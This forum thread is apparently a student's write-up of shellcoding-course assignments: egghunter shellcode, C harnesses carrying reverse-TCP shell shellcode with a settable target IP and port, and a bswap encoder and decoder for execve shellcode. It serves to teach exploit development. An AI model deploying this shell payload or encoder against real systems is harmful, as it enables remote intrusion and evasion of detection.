slae@slae-VirtualBox:~/SLAE/exam/assignment-3$ ./myegg1
Egg hunter shellcode Length: 19
Egg Found!!
slae@slae-VirtualBox:~/SLAE/exam/assignment-3$
slae@slae-VirtualBox:~/SLAE/exam/assignment-3$ echo -n $'\xb8\x72\x80\x04\x08\xbb\x8f\x50\x90\x50\x43\x40\x39\x18\x75\xfb\xff\xe0\x01' | ndisasm -u -
00000000 B872800408 mov eax,0x08048072
00000005 BB8F509050 mov ebx,0x5090508f
0000000A 43 inc ebx
0000000B 40 inc eax
0000000C 3918 cmp [eax],ebx
0000000E 75FB jnz 0xb
00000010 FFE0 jmp eax
00000012 01 db 0x01
slae@slae-VirtualBox:~/SLAE/exam/assignment-3$
I analyze each line in the code:
00000000 B872800408 mov eax,0x08048072
Set EAX to the base address of Linux programs
00000005 BB8F509050 mov ebx,0x5090508f
Set EBX to a value that will become the egg in the next instruction
0000000A 43 inc ebx
Set EBX to 0x50905090 which is the real egg
The egg code, when executed, does nothing damaging to the execution of the program except for stack corruption:
slae@slae-VirtualBox:~/SLAE/exam/assignment-3$ echo -n $'\x90\x50\x90\x50' | ndisasm -u -
00000000 90 nop
00000001 50 push eax
00000002 90 nop
00000003 50 push eax
So if we executed the egg itself, nothing bad would happen except for some stack corruption. If we want a stack-neutral egg, a better option might be to first push eax, then pop it in the next instruction.
0000000B 40 inc eax
Increase EAX by one - this will be jumped to later when searching for the egg
0000000C 3918 cmp [eax],ebx
Compare the egg in EBX, with the code pointed to by EAX
0000000E 75FB jnz 0xb
If the egg isn't found at EAX, jump to 0000000B to search the next address
00000010 FFE0 jmp eax
If the egg is found, then jump to EAX - which is the egg
00000012 01 db 0x01
This byte is used by the very first instruction to dynamically determine the base memory address at compilation time
$ gdb myegg1 -ex 'break *0x804a040' -ex 'run' -ex 'display/32b $esp'
So now that we know how egghunters work, we can create our own; let the fun begin!
Now, we need to find a good way to encode our egg value. We can't store the egg directly in our code, because if we do then our egghunter is going to find the egg in the egghunting code instead of the actual shellcode.
There is a nice function SHL and SHL which bit-shifts a value. Effectively a SHL by 1 multiplies the register value by 2, a SHR divides by 2.
;=============================================================================
; egghunter1.nasm
; egg: \x02\x04\x08\x10
global _start
section .text
_start:
;mov edi, 0x08048072 ; Linux base address
mov edi, eip
restart_search:
mov al, byte 0x02
egg_not_found:
scasb ; compare byte at EDI with al, increase EDI if not
jne egg_not_found
egg_possibly_found:
shl al, 0x1 ; eax = 02 -> 04 -> 08 -> 10
cmp al, 0x20 ; eax will only ever be 20 if \x02\x04\x08\x10 is found
je egg_found
scasb ; compare byte at EDI with al, increase EDI if not
jne restart_search ; if this isn't the egg, then restart search
egg_found:
jmp edi ; jump to shellcode
;=============================================================================
$ ./compile.sh egghunter1
$ objdump -d ./egghunter1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -dcut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
OUTPUT: "\xbf\x72\x80\x04\x08\xb0\x02\xae\x75\xfd\xd0\xe0\x3c\x20\x74\x03\xae\x75\xf2\xff\xe7"
Let's try our new egghunter!
myegg2.c:
/* =================================================================== */
#include<stdio.h>
#include<string.h>
unsigned char egghunter[] = \
"\xbf\x72\x80\x04\x08\xb0\x02\xae\x75\xfd\xd0\xe0\x3c\x20\x74\x03\xae\x75\xf2\xff\xe7";
// Print 'Egg Found!!' on screen
// You can swap it out with any shellcode you like (as long as you keep the egg mark)
unsigned char shellcode[] = \
"\x02\x04\x08\x10" // egg mark
"\xeb\x16\x59\x31\xc0\x50\xb0\x04\x31\xdb\xb3\x01\x31\xd2\xb2"
"\x0c\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe5\xff\xff\xff\x45"
"\x67\x67\x20\x46\x6f\x75\x6e\x64\x21\x21\x0a";
main()
{
printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
int (*ret)() = (int(*)())egghunter;
ret();
}
/* =================================================================== */
$ gcc -fno-stack-protector -z execstack myegg2.c -o myegg2
OUTPUT: Egg hunter shellcode Length: 21
OUTPUT: Egg Found!!
Note: Wow that was easy; didn't even need GDB, the cat's in the bag!
==========================================================================
==========================================================================
We can now use the shellcode from assignment 2 and add our egg hunter:
/*===================================================================*/
/*
Filename: myegg3.c
Author: JollyFrogs (LookoutFrog@gmail.com)
License: This work is licensed under a Creative Commons
Attribution-NonCommercial 4.0 International License.
Compile:
gcc -m32 -fno-stack-protector -z execstack myegg3.c -o myegg3
Shellcode size: 79 Bytes
*/
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdbool.h>
unsigned char egghunter[] = \
"\xbf\x72\x80\x04\x08\xb0\x02\xae\x75\xfd\xd0\xe0\x3c\x20\x74\x03"
"\xae\x75\xf2\xff\xe7";
unsigned char shellcode[] = \
"\x02\x04\x08\x10" // Egg signature
"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
"\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43"
"\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87"
"\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0"
"\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80";
static bool shellcode_zerocheck() {
// initialize counter
int i = 0;
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(shellcode)-1; i++) {
if (shellcode == '\x00') {
printf("Zero found in shellcode at position %i\n",i);
return false;
}
}
// Return true if no zeroes found
return true;
}
static bool egghunter_zerocheck() {
// initialize counter
int i = 0;
// check each byte in egghunter array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(egghunter)-1; i++) {
if (egghunter == '\x00') {
printf("Zero found in egghunter at position %i\n",i);
return false;
}
}
// Return true if no zeroes found
return true;
}
static bool shellcode_settargetport(char *buf, int port) {
// Check if decimal port is valid
if (port<1024 || port>65535) return false;
// The offset of the port is 21, but reduce by 1 since the array counts from 0
int port_offset = 24; // (\x15\xb3)
// convert decimal port to hexidecimal
*(short *)(buf+port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
// Swap port bytes to accomodate for Little Endian memory structure
char tmp = buf[port_offset];
buf[port_offset] = buf[port_offset+1];
buf[port_offset+1] = tmp;
// Check if the hexidecimal port contains zeroes, if it does then show an error
if (shellcode[port_offset] == '\x00' || shellcode[port_offset+1] == '\x00') {
printf("port HEX contains zeroes\n"); return false;
}
// Return true if all checks passed
return true;
}
static bool shellcode_settargetip(char *buf, char *ip) {
int ip_offset = 17; // (\x7f\x01\x01\x01\)
unsigned char value[4] = {0};
size_t index = 0;
while (*ip) {
if (isdigit((unsigned char)*ip)) {
value[index] *= 10;
value[index] += *ip - '0';
} else {
index++;
}
ip++;
}
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
int i = 0; for(i = 0; i < 4; i++) {
*(char *)(buf+ip_offset+i) = value;
if (shellcode[ip_offset+i] == '\x00'){printf("port HEX contains zeroes\n"); return false;}
}
// Return true if all checks passed
return true;
}
main () {
// Port in decimal - should be higher than 1024 and lower than 65536
int targetport = 1234;
char *targetip = "127.1.1.1";
// Basic error checking
if (!shellcode_settargetport(shellcode, targetport)) {printf("ERROR: Invalid targetport\n");return 0;}
if (!shellcode_settargetip(shellcode, targetip)) {printf("ERROR: Invalid targetip\n");return 0;}
if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
if (!egghunter_zerocheck()) {printf("ERROR: Egghunter contains zeroes\n");return 0;}
// Print shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcode));
// Run assembly commands
__asm__ (
// Initialize registers
"movl $0x12345678, %eax\n\t"
"movl $0x12345678, %ebx\n\t"
"movl $0x12345678, %ecx\n\t"
"movl $0x12345678, %edx\n\t"
"movl $0x12345678, %edi\n\t"
"movl $0x12345678, %esi\n\t"
"movl $0x12345678, %ebp\n\t"
// execute egghunter
"jmp egghunter");
}
/*===================================================================*/
$ gdb myegg3 -ex 'break *0x0804879f' -ex 'run' -ex 'display/32b $esp
OUTPUT: Shellcode Length: 83
OUTPUT: Segmentation fault (core dumped)
Note: Upon running my code, I receive a segmentation fault. It seems this cat managed to slip out of the bag somehow. Upon debugging, I found that the cause of the segfault is due to my egghunter was searching in areas of memory that it had no access to. I thus had to come up with a new egghunter that would ensure that the memory space is checked for read access before trying to read it. I did some research and found the following document: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
I will use the following egghunter, given in the pdf, as a basis for my egghunter:
xor edx,edx
or dx,0xfff
inc edx
lea ebx,[edx+0x4]
push byte +0x21
pop eax
int 0x80
cmp al,0xf2
jz 0x2
mov eax,0x50905090
mov edi,edx
scasd
jnz 0x7
scasd
jnz 0x7
jmp edi
;=============================================================================
; egghunter2.nasm
; egg: \x02\x04\x08\x10
global _start
section .text
_start:
mov cl, byte 0x02 ; set CL to 02
xor edx,edx ; EDI = 00000000
next_page:
or dx,0xfff ; change EDI last 3 bytes to FFF
next_byte_in_page:
inc edx ; add EDI by 1 (together = 1000)
lea ebx,[edx+0x4] ; validate 8 bytes of contiguous memory
push byte +0x21 ; PUSH 21
pop eax ; EAX = 00000021 = SYSCALL.ACCESS(2)
int 0x80 ; SYSCALL.ACCESS(2)
cmp al,0xf2
jz next_page ; if no access to memory then increase page
mov edi,edx ; set EDI to the accessible memory location
mov al, cl ; AL = 02
scasb ; compare byte at EDI with AL and increase EDI
jne next_byte_in_page
egg_possibly_found:
shl al, 0x1 ; eax = 02 -> 04 -> 08 -> 10
cmp al, 0x20 ; eax will only ever be 20 if \x02\x04\x08\x10 is found
je egg_found
scasb ; compare byte at EDI with AL and increase EDI
je egg_possibly_found ; if this isn't the egg, then restart search
jmp next_byte_in_page ; egg not found, start new search
egg_found:
jmp edi ; jump to shellcode
;=============================================================================
$ ./compile.sh egghunter2
$ objdump -d ./egghunter2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -dcut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
OUTPUT:
"\xb1\x02\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58"
"\xcd\x80\x3c\xf2\x74\xee\x89\xd7\x88\xc8\xae\x75\xec\xd0\xe0\x3c"
"\x20\x74\x05\xae\x74\xf7\xeb\xe1\xff\xe7"
myegg4.c:
/* =================================================================== */
#include<stdio.h>
#include<string.h>
unsigned char egghunter[] = \
"\xb1\x02\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58"
"\xcd\x80\x3c\xf2\x74\xee\x89\xd7\x88\xc8\xae\x75\xec\xd0\xe0\x3c"
"\x20\x74\x05\xae\x74\xf7\xeb\xe1\xff\xe7";
// Print 'Egg Found!!' on screen
// You can swap it out with any shellcode you like (as long as you keep the egg mark)
unsigned char shellcode[] = \
"\x02\x04\x08\x10" // egg mark
"\xeb\x16\x59\x31\xc0\x50\xb0\x04\x31\xdb\xb3\x01\x31\xd2\xb2"
"\x0c\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe5\xff\xff\xff\x45"
"\x67\x67\x20\x46\x6f\x75\x6e\x64\x21\x21\x0a";
main()
{
printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
int (*ret)() = (int(*)())egghunter;
ret();
}
/* =================================================================== */
$ gcc -fno-stack-protector -z execstack myegg4.c -o myegg4
OUTPUT: Egg hunter shellcode Length: 42
OUTPUT: Egg Found!!
NOTE: Yey! Cat back in the bag! Our egghunter shellcode doubled in size, but it is much more reliable.
If it works, we can look at optimizing this code later. Let's give it a try.
/*===================================================================*/
/*
Filename: myegg5.c
Author: JollyFrogs (LookoutFrog@gmail.com)
License: This work is licensed under a Creative Commons
Attribution-NonCommercial 4.0 International License.
Compile:
gcc -m32 -fno-stack-protector -z execstack myegg5.c -o myegg5
Shellcode size: 79 Bytes
*/
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdbool.h>
unsigned char egghunter[] = \
"\xb1\x02\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58"
"\xcd\x80\x3c\xf2\x74\xee\x89\xd7\x88\xc8\xae\x75\xec\xd0\xe0\x3c"
"\x20\x74\x05\xae\x74\xf7\xeb\xe1\xff\xe7";
unsigned char shellcode[] = \
"\x02\x04\x08\x10" // Egg signature
"\x90\x90\x90\x90" // nop chain
"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
"\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43"
"\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87"
"\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0"
"\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80";
static bool shellcode_zerocheck() {
// initialize counter
int i = 0;
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(shellcode)-1; i++) {
if (shellcode == '\x00') {
printf("Zero found in shellcode at position %i\n",i);
return false;
}
}
// Return true if no zeroes found
return true;
}
static bool egghunter_zerocheck() {
// initialize counter
int i = 0;
// check each byte in egghunter array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(egghunter)-1; i++) {
if (egghunter == '\x00') {
printf("Zero found in egghunter at position %i\n",i);
return false;
}
}
// Return true if no zeroes found
return true;
}
static bool shellcode_settargetport(char *buf, int port) {
// Check if decimal port is valid
if (port<1024 || port>65535) return false;
// The offset of the port is 21, but reduce by 1 since the array counts from 0
int port_offset = 24; // (\x15\xb3)
// convert decimal port to hexidecimal
*(short *)(buf+port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
// Swap port bytes to accomodate for Little Endian memory structure
char tmp = buf[port_offset];
buf[port_offset] = buf[port_offset+1];
buf[port_offset+1] = tmp;
// Check if the hexidecimal port contains zeroes, if it does then show an error
if (shellcode[port_offset] == '\x00' || shellcode[port_offset+1] == '\x00') {
printf("port HEX contains zeroes\n"); return false;
}
// Return true if all checks passed
return true;
}
static bool shellcode_settargetip(char *buf, char *ip) {
int ip_offset = 17; // (\x7f\x01\x01\x01\)
unsigned char value[4] = {0};
size_t index = 0;
while (*ip) {
if (isdigit((unsigned char)*ip)) {
value[index] *= 10;
value[index] += *ip - '0';
} else {
index++;
}
ip++;
}
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
int i = 0; for(i = 0; i < 4; i++) {
*(char *)(buf+ip_offset+i) = value;
if (shellcode[ip_offset+i] == '\x00'){printf("port HEX contains zeroes\n"); return false;}
}
// Return true if all checks passed
return true;
}
main () {
// Port in decimal - should be higher than 1024 and lower than 65536
int targetport = 1234;
char *targetip = "127.1.1.1";
// Basic error checking
if (!shellcode_settargetport(shellcode, targetport)) {printf("ERROR: Invalid targetport\n");return 0;}
if (!shellcode_settargetip(shellcode, targetip)) {printf("ERROR: Invalid targetip\n");return 0;}
if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
if (!egghunter_zerocheck()) {printf("ERROR: Egghunter contains zeroes\n");return 0;}
// Print shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcode));
printf("Egghunter Length: %d\n", strlen(egghunter));
// Run assembly commands
__asm__ (
// Initialize registers
"movl $0x12345678, %eax\n\t"
"movl $0x12345678, %ebx\n\t"
"movl $0x12345678, %ecx\n\t"
"movl $0x12345678, %edx\n\t"
"movl $0x12345678, %edi\n\t"
"movl $0x12345678, %esi\n\t"
"movl $0x12345678, %ebp\n\t"
// execute egghunter
"jmp egghunter");
}
/*===================================================================*/
$ gdb myegg5 -ex 'break *0x0804879f' -ex 'run' -ex 'display/32b $esp'
Note: Hm.. another segfault... not looking good let's see what's going on
The EAX register contains FFFFFFEA after the execution.
A quick lookup in errno.h - C Error Codes in Linux
reveals that the error code is -22 (use calc.exe byte EA then decimal)
Code -22 means EINVAL. In "man 2 access" we find the following:
EINVAL - mode was incorrectly specified
Upon running the file in gdb and check the arguments to ACCESS, we find ECX, the register that holds the "mode" argument, isn't set properly.
"man 2 access" reveals valid values for "mode" parameter: R_OK, W_OK, and X_OK. F_OK
Since we're checking for read access to the memory, we need to set R_OK. So what does R_OK map to?
$ cat /usr/include/unistd.h | grep R_OK
OUTPUT: #define R_OK 4 /* Test for read permission. */
So ECX should be set to 4 if we want to check R_OK, or 0 if we want to check F_OK. We modify the assembly language and recompile.
;=============================================================================
; egghunter3.nasm
; egg: \x01\x02\x04\x08\x10\x20
global _start
section .text
_start:
xor ecx,ecx ; ECX = 00000000 (F_OK)
mul ecx ; EAX = 00000000, EDX = 00000000
next_page:
or dx,0xfff ; change EDI last 3 bytes to FFF
next_byte_in_page:
inc edx ; add EDI by 1 (together = 1000)
lea ebx,[edx] ; validate memory
push byte +0x21 ; PUSH 21
pop eax ; EAX = 00000021 = SYSCALL.ACCESS(2)
int 0x80 ; SYSCALL.ACCESS(2)
cmp al,0xf2 ; F2 = EFAULT = No access to memory
je next_page ; if no access to memory then increase page
mov edi,edx ; set EDI to the accessible memory location
salc ; Shortcut to set AL = 00
inc eax ; AL = 01
scasb ; compare byte at EDI with AL and increase EDI
jne next_byte_in_page
egg_possibly_found:
shl al,0x1 ; eax = 02 -> 04 -> 08 -> 10 -> 20 -> 40
cmp al,0x40 ; eax will only ever be 40 if \x01\x02\x04\x08\x10\x20 is found
je egg_found
scasb ; compare byte at EDI with AL and increase EDI
je egg_possibly_found ; check next byte in egg
jmp next_byte_in_page ; egg not found, start new search
egg_found:
jmp edi ; jump to shellcode
;=============================================================================
This seems to work, however I still seem to get a segfault - more gdb is required.
$ gdb myegg5 -ex 'break *0x0804a067' -ex 'run'
=> 0x804a067 <egghunter+39>: jmp edi
gdb$ disassemble 0x0804a084
**** of assembler code for function shellcode:
0x0804a080 <+0>: add DWORD PTR [edx],eax
0x0804a082 <+2>: add al,0x8
0x0804a084 <+4>: xor eax,eax
0x0804a086 <+6>: push eax
0x0804a087 <+7>: inc eax
0x0804a088 <+8>: push eax
0x0804a089 <+9>: pop ebx
0x0804a08a <+10>: push eax
0x0804a08b <+11>: inc eax
0x0804a08c <+12>: push eax
0x0804a08d <+13>: mov al,0x66
0x0804a08f <+15>: mov ecx,esp
0x0804a091 <+17>: jg 0x804a094 <shellcode+20>
0x0804a093 <+19>: add DWORD PTR [ecx],eax
0x0804a095 <+21>: jg 0x804a098 <shellcode+24>
0x0804a097 <+23>: add DWORD PTR [edx+edx*8],eax
0x0804a09a <+26>: mov ax,0xb315
What happened to our shellcode? Did the egg signature change the shellcode?
first we check the actual shellcode is still valid:
echo -n $'\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80' | ndisasm -u -
The shellcode seems fine. So I check the shell with the egg prepended (the anticipation!..)
echo -n $'\x01\x02\x04\x08\x10\x20\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80' | ndisasm -u -
The egg does not seem to affect our shellcode. Something else must be changing the shellcode during runtime.
In a lightbulb moment, I realize that we're dynamically changing the IP and port in the code, but we haven't changed our shellcode offsets. the program things our shellcode is longer (6 bytes longer)
So if we add 6 to the offsets of the port and IP, all should be good!
And finally, after making the changes, we have a working egg hunter shellcode. GDB once again came to the rescue and gave me the answers I needed.
The resulting code:
/*===================================================================*/
/*
Filename: myegg5.c
Author: JollyFrogs (LookoutFrog@gmail.com)
License: This work is licensed under a Creative Commons
Attribution-NonCommercial 4.0 International License.
Compile:
gcc -m32 -fno-stack-protector -z execstack myegg5.c -o myegg5
Shellcode size: 85 Bytes
Egghunter size: 41 Bytes
*/
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdbool.h>
unsigned char egghunter[] = \
"\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x8d\x1a\x6a\x21\x58\xcd"
"\x80\x3c\xf2\x74\xef\x89\xd7\xd6\x40\xae\x75\xed\xd0\xe0\x3c\x40"
"\x74\x05\xae\x74\xf7\xeb\xe2\xff\xe7";
unsigned char shellcode[] = \
"\x01\x02\x04\x08\x10\x20" // Egg signature
"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
"\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43"
"\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87"
"\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0"
"\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80";
static bool shellcode_zerocheck() {
// initialize counter
int i = 0;
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(shellcode)-1; i++) {
if (shellcode == '\x00') {
printf("Zero found in shellcode at position %i\n",i);
return false;
}
}
// Return true if no zeroes found
return true;
}
static bool egghunter_zerocheck() {
// initialize counter
int i = 0;
// check each byte in egghunter array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(egghunter)-1; i++) {
if (egghunter == '\x00') {
printf("Zero found in egghunter at position %i\n",i);
return false;
}
}
// Return true if no zeroes found
return true;
}
static bool shellcode_settargetport(char *buf, int port) {
// Check if decimal port is valid
if (port<1024 || port>65535) return false;
// The offset of the port is 21, but reduce by 1 since the array counts from 0
int port_offset = 30; // (\x15\xb3) (24+6 to compensate for egg)
// convert decimal port to hexidecimal
*(short *)(buf+port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
// Swap port bytes to accomodate for Little Endian memory structure
char tmp = buf[port_offset];
buf[port_offset] = buf[port_offset+1];
buf[port_offset+1] = tmp;
// Check if the hexidecimal port contains zeroes, if it does then show an error
if (shellcode[port_offset] == '\x00' || shellcode[port_offset+1] == '\x00') {
printf("port HEX contains zeroes\n"); return false;
}
// Return true if all checks passed
return true;
}
static bool shellcode_settargetip(char *buf, char *ip) {
int ip_offset = 23; // (\x7f\x01\x01\x01\) (17+6 to compensate for egg)
unsigned char value[4] = {0};
size_t index = 0;
while (*ip) {
if (isdigit((unsigned char)*ip)) {
value[index] *= 10;
value[index] += *ip - '0';
} else {
index++;
}
ip++;
}
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
int i = 0; for(i = 0; i < 4; i++) {
*(char *)(buf+ip_offset+i) = value;
if (shellcode[ip_offset+i] == '\x00'){printf("port HEX contains zeroes\n"); return false;}
}
// Return true if all checks passed
return true;
}
main () {
// Port in decimal - should be higher than 1024 and lower than 65536
int targetport = 1234;
char *targetip = "127.1.1.1";
// Basic error checking
if (!shellcode_settargetport(shellcode, targetport)) {printf("ERROR: Invalid targetport\n");return 0;}
if (!shellcode_settargetip(shellcode, targetip)) {printf("ERROR: Invalid targetip\n");return 0;}
if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
if (!egghunter_zerocheck()) {printf("ERROR: Egghunter contains zeroes\n");return 0;}
// Print shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcode));
printf("Egghunter Length: %d\n", strlen(egghunter));
// Run assembly commands
__asm__ (
// Initialize registers
"movl $0x12345678, %eax\n\t"
"movl $0x12345678, %ebx\n\t"
"movl $0x12345678, %ecx\n\t"
"movl $0x12345678, %edx\n\t"
"movl $0x12345678, %edi\n\t"
"movl $0x12345678, %esi\n\t"
"movl $0x12345678, %ebp\n\t"
// execute egghunter
"jmp egghunter");
}
/*===================================================================*/ -
unkn0wnsh3ll Member Posts: 68 ■■□□□□□□□□Hey Jollyfrogs
Great to see you back on OSCx track
It is always great to see your detailed Thread/Tale and your progress...
By the way, I'm still working on OSCP after taking a 3 months break since last Dec-2015.
Good luck
Cheers -
JollyFrogs Member Posts: 97 ■■■□□□□□□□unkn0wnsh3ll wrote: »Hey Jollyfrogs
Great to see you back on OSCx track
It is always great to see your detailed Thread/Tale and your progress...
By the way, I'm still working on OSCP after taking a 3 months break since last Dec-2015.
Good luck
Cheers
Hi UnknownShell, good to see you're still making progress toward OSCP. Good luck on the exam! -
JollyFrogs Member Posts: 97 ■■■□□□□□□□Assignment #4:
- Create a custom encoding scheme like the "Insertion Encoder" demonstrated in the course
- Proof of concept using execve-stack as the shellcode to encode with your scheme and execute
=====================================================================
First we get the shellcode of the execve-stack:
$ objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -dcut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
# ========================================================
#!/usr/bin/env python
#
# we import sys for the len() function
import sys
# execve('/bin/ls') - shellcode size is 25 bytes
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89"
"\xe1\xb0\x0b\xcd\x80")
# Ninja code: bswap("12345678") -> \x78\x56\x34\x12
def bswap_to_py(eax): return "" if not eax else bswap_to_py(eax[2:]) + '\\x' + eax[:2]
def bswap_to_asm(eax): return "" if not eax else bswap_to_asm(eax[2:]) + '0x' + eax[:2] + ','
# pad shellcode with a NOP which will be used by our decoder
shellcode += "\x90"
# pad additional NOPS until shellcode is divisible by 4
while (len(shellcode) % 4 != 0): shellcode += "\x90"
# initialize variables
py_shellcode = ""; asm_shellcode = ""; counter = 0; EAX = "";
# encode the shellcode with a bswap of every 4 bytes
for x in bytearray(shellcode): # iterate over each byte in shellcode
counter += 1 # we use the counter to load 4 bytes at a time
EAX += '%02x' %x # store hex value of byte in EAX string
if (counter % 4 == 0): # we have read 4 bytes
py_shellcode += bswap_to_py(EAX) # append bswapped value to encoded_shellcode
asm_shellcode += bswap_to_asm(EAX) # append bswapped value to encoded_shellcode
EAX = ""; counter = 0; # reset EAX and counter to process next 4 bytes
print py_shellcode
print asm_shellcode[:-1] # remove the trailing comma
# ========================================================
$ python encoder.py
\x68\x50\xc0\x31\x73\x6c\x2f\x2f\x69\x62\x2f\x68\x50\xe3\x89\x6e\x89\x53\xe2\x89\xcd\x0b\xb0\xe1\x90\x90\x90\x80
0x68,0x50,0xc0,0x31,0x73,0x6c,0x2f,0x2f,0x69,0x62,0x2f,0x68,0x50,0xe3,0x89,0x6e,0x89,0x53,0xe2,0x89,0xcd,0x0b,0xb0,0xe1,0x90,0x90,0x90,0x80
Our encoder works and we now have our encoded shell. Now on to the assembly!
; ==================================================================
; filename decoder1.nasm
;
global _start
section .text
_start:
jmp short CALL ; JMP - CALL - POP technique to retrieve location of encoded shell
POP:
pop esi ; ESI = Location of shellcode
mov cl, codelen ; ECX = length of shellcode (28 in our case)
DECODESHELL:
sub ecx, 4 ; process next part of shellcode
mov eax, [esi+ecx] ; store the value in ESI+EDI in EAX
bswap eax ; The bswap magic
push eax ; store the last part of shellcode on the stack and go up from there
test ecx, ecx ; If ECX is zero then we've reached the end of our shellcode
jne DECODESHELL ; keep decoding until AL is 90
jmp esp ; jump to stack = our shell
CALL:
call POP
shellcode: db 0x68,0x50,0xc0,0x31,0x73,0x6c,0x2f,0x2f,0x69,0x62,0x2f,0x68,0x50,0xe3,0x89,0x6e,0x89,0x53,0xe2,0x89,0xcd,0x0b,0xb0,0xe1,0x90,0x90,0x90,0x80
codelen equ $-shellcode
; Note: Decoder could be improved by encoding in a PUSH-friendly manner
; ==================================================================
Note: our original shell was:
"\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
And on the stack after decoding we now have:
gdb$ x/32b $esp
0xbffff3b4: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x6c 0x73
0xbffff3bc: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
0xbffff3c4: 0x89 0xe2 0x53 0x89 0xe1 0xb0 0x0b 0xcd
0xbffff3cc: 0x80 0x90 0x90 0x90 0x01 0x00 0x00 0x00
Upon executing the decoder, we see the execve('/bin/ls') execute from the stack - Good stuff!
